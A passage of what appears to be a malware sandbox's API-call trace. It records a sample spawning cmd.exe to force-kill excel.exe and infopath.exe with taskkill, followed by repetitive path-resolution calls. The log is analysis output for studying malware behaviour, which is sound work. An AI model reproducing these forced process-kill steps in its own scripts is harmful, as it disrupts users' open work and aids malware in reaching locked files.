	[0043.904] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="cmd.exe /c \"taskkill /f /im excel.exe \"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x400, lpEnvironment=0x124b3000, lpCurrentDirectory=0x0, lpStartupInfo=0x123edacc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0xbc, hStdError=0xc0), lpProcessInformation=0x123edaa8 | out: lpCommandLine="cmd.exe /c \"taskkill /f /im excel.exe \"", lpProcessInformation=0x123edaa8*(hProcess=0xc8, hThread=0xc4, dwProcessId=0xb20, dwThreadId=0xb14)) returned 1
	[0043.911] CloseHandle (hObject=0xc4) returned 1
	[0043.911] CloseHandle (hObject=0xc0) returned 1
	[0043.911] CloseHandle (hObject=0xbc) returned 1
	[0043.911] CloseHandle (hObject=0xb8) returned 1
	[0043.911] CloseHandle (hObject=0xac) returned 1
	[0043.911] CloseHandle (hObject=0xb0) returned 1
	[0043.912] CloseHandle (hObject=0xb4) returned 1
	[0043.912] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0xffffffff) returned 0x0
	[0044.289] SetEvent (hEvent=0xa8) returned 1
	[0044.289] GetExitCodeProcess (in: hProcess=0xc8, lpExitCode=0x123edbdc | out: lpExitCode=0x123edbdc*=0x80) returned 1
	[0044.290] GetProcessTimes (in: hProcess=0xc8, lpCreationTime=0x124c5460, lpExitTime=0x124c5468, lpKernelTime=0x124c5470, lpUserTime=0x124c5478 | out: lpCreationTime=0x124c5460, lpExitTime=0x124c5468, lpKernelTime=0x124c5470, lpUserTime=0x124c5478) returned 1
	[0044.290] CloseHandle (hObject=0xc8) returned 1
	[0044.290] SetEvent (hEvent=0x80) returned 1
	[0044.290] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x5) returned 0x102
	[0044.296] SetEvent (hEvent=0x80) returned 1
	[0044.296] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x12441ee0, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0044.296] GetFileAttributesExW (in: lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x1249f4a8 | out: lpFileInformation=0x1249f4a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0044.296] CreateFileW (lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0044.296] GetFileAttributesExW (in: lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), fInfoLevelId=0x0, lpFileInformation=0x1249f4f8 | out: lpFileInformation=0x1249f4f8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0044.296] CreateFileW (lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0044.296] GetFileAttributesExW (in: lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), fInfoLevelId=0x0, lpFileInformation=0x1249f548 | out: lpFileInformation=0x1249f548*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0044.296] CreateFileW (lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0044.297] GetFileAttributesExW (in: lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), fInfoLevelId=0x0, lpFileInformation=0x1249f598 | out: lpFileInformation=0x1249f598*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0044.297] CreateFileW (lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0044.297] GetFileAttributesExW (in: lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), fInfoLevelId=0x0, lpFileInformation=0x1249f5e8 | out: lpFileInformation=0x1249f5e8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0044.297] CreateFileW (lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0044.297] GetFileAttributesExW (in: lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), fInfoLevelId=0x0, lpFileInformation=0x1249f638 | out: lpFileInformation=0x1249f638*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0044.297] CreateFileW (lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0044.297] GetFileAttributesExW (in: lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), fInfoLevelId=0x0, lpFileInformation=0x1249f688 | out: lpFileInformation=0x1249f688*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0044.297] CreateFileW (lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0044.297] GetFileAttributesExW (in: lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), fInfoLevelId=0x0, lpFileInformation=0x1249f6d8 | out: lpFileInformation=0x1249f6d8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0044.297] CreateFileW (lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0044.297] GetFileAttributesExW (in: lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), fInfoLevelId=0x0, lpFileInformation=0x1249f728 | out: lpFileInformation=0x1249f728*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0044.297] CreateFileW (lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0044.297] GetFileAttributesExW (in: lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), fInfoLevelId=0x0, lpFileInformation=0x1249f778 | out: lpFileInformation=0x1249f778*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0044.297] CreateFileW (lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0044.298] GetFileAttributesExW (in: lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), fInfoLevelId=0x0, lpFileInformation=0x1249f7c8 | out: lpFileInformation=0x1249f7c8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0044.298] CreateFileW (lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0044.298] GetFileAttributesExW (in: lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), fInfoLevelId=0x0, lpFileInformation=0x1249f818 | out: lpFileInformation=0x1249f818*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0044.298] CreateFileW (lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0044.298] GetEnvironmentVariableW (in: lpName="path", lpBuffer=0x124ee000, nSize=0x64 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0044.298] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x1249f868 | out: lpFileInformation=0x1249f868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0044.298] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x124ee0d0, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0044.298] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x1249f8b8 | out: lpFileInformation=0x1249f8b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0044.298] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc8
	[0044.298] GetConsoleMode (in: hConsoleHandle=0xc8, lpMode=0x123edaa4 | out: lpMode=0x123edaa4) returned 0
	[0044.298] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb4
	[0044.299] GetConsoleMode (in: hConsoleHandle=0xb4, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0044.299] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb0
	[0044.299] GetConsoleMode (in: hConsoleHandle=0xb0, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0044.299] GetEnvironmentStringsW () returned 0x7eb348*
	[0044.299] FreeEnvironmentStringsW (penv=0x7eb348) returned 1
	[0044.299] GetCurrentProcess () returned 0xffffffff
	[0044.299] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xc8, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x124a5750, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x124a5750*=0xac) returned 1
	[0044.299] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb4, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x124a5754, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x124a5754*=0xb8) returned 1
	[0044.299] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb0, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x124a5758, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x124a5758*=0xbc) returned 1
	[0044.300] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="cmd.exe /c \"taskkill /f /im infopath.exe \"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x400, lpEnvironment=0x124bf000, lpCurrentDirectory=0x0, lpStartupInfo=0x123edacc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xac, hStdOutput=0xb8, hStdError=0xbc), lpProcessInformation=0x123edaa8 | out: lpCommandLine="cmd.exe /c \"taskkill /f /im infopath.exe \"", lpProcessInformation=0x123edaa8*(hProcess=0xc4, hThread=0xc0, dwProcessId=0xb70, dwThreadId=0xb64)) returned 1
	[0044.308] CloseHandle (hObject=0xc0) returned 1
	[0044.308] CloseHandle (hObject=0xbc) returned 1
	[0044.308] CloseHandle (hObject=0xb8) returned 1
	[0044.308] CloseHandle (hObject=0xac) returned 1
	[0044.308] CloseHandle (hObject=0xc8) returned 1
	[0044.308] CloseHandle (hObject=0xb4) returned 1
	[0044.308] CloseHandle (hObject=0xb0) returned 1
	[0044.308] WaitForSingleObject (hHandle=0xc4, dwMilliseconds=0xffffffff) returned 0x0
	[0044.680] SetEvent (hEvent=0xa8) returned 1
	[0044.680] GetExitCodeProcess (in: hProcess=0xc4, lpExitCode=0x123edbdc | out: lpExitCode=0x123edbdc*=0x80) returned 1
	[0044.680] GetProcessTimes (in: hProcess=0xc4, lpCreationTime=0x124cf1a0, lpExitTime=0x124cf1a8, lpKernelTime=0x124cf1b0, lpUserTime=0x124cf1b8 | out: lpCreationTime=0x124cf1a0, lpExitTime=0x124cf1a8, lpKernelTime=0x124cf1b0, lpUserTime=0x124cf1b8) returned 1
	[0044.680] CloseHandle (hObject=0xc4) returned 1
	[0044.681] SetEvent (hEvent=0x80) returned 1
	[0044.681] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x5) returned 0x102
	[0044.693] SetEvent (hEvent=0x80) returned 1
	[0044.693] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x124e6270, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0044.693] GetFileAttributesExW (in: lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x12497d68 | out: lpFileInformation=0x12497d68*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0044.693] CreateFileW (lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0044.693] GetFileAttributesExW (in: lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), fInfoLevelId=0x0, lpFileInformation=0x12497db8 | out: lpFileInformation=0x12497db8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0044.693] CreateFileW (lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0044.694] GetFileAttributesExW (in: lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), fInfoLevelId=0x0, lpFileInformation=0x12497e08 | out: lpFileInformation=0x12497e08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0044.694] CreateFileW (lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0044.694] GetFileAttributesExW (in: lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), fInfoLevelId=0x0, lpFileInformation=0x12497e58 | out: lpFileInformation=0x12497e58*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0044.694] CreateFileW (lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0044.694] GetFileAttributesExW (in: lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), fInfoLevelId=0x0, lpFileInformation=0x12497ea8 | out: lpFileInformation=0x12497ea8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0044.694] CreateFileW (lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0044.694] GetFileAttributesExW (in: lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), fInfoLevelId=0x0, lpFileInformation=0x12497ef8 | out: lpFileInformation=0x12497ef8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0044.694] CreateFileW (lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0044.694] GetFileAttributesExW (in: lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), fInfoLevelId=0x0, lpFileInformation=0x12497f48 | out: lpFileInformation=0x12497f48*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0044.694] CreateFileW (lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0044.694] GetFileAttributesExW (in: lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), fInfoLevelId=0x0, lpFileInformation=0x12497f98 | out: lpFileInformation=0x12497f98*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0044.694] CreateFileW (lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0044.694] GetFileAttributesExW (in: lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), fInfoLevelId=0x0, lpFileInformation=0x124f6008 | out: lpFileInformation=0x124f6008*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0044.694] CreateFileW (lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0044.695] GetFileAttributesExW (in: lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), fInfoLevelId=0x0, lpFileInformation=0x124f6058 | out: lpFileInformation=0x124f6058*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
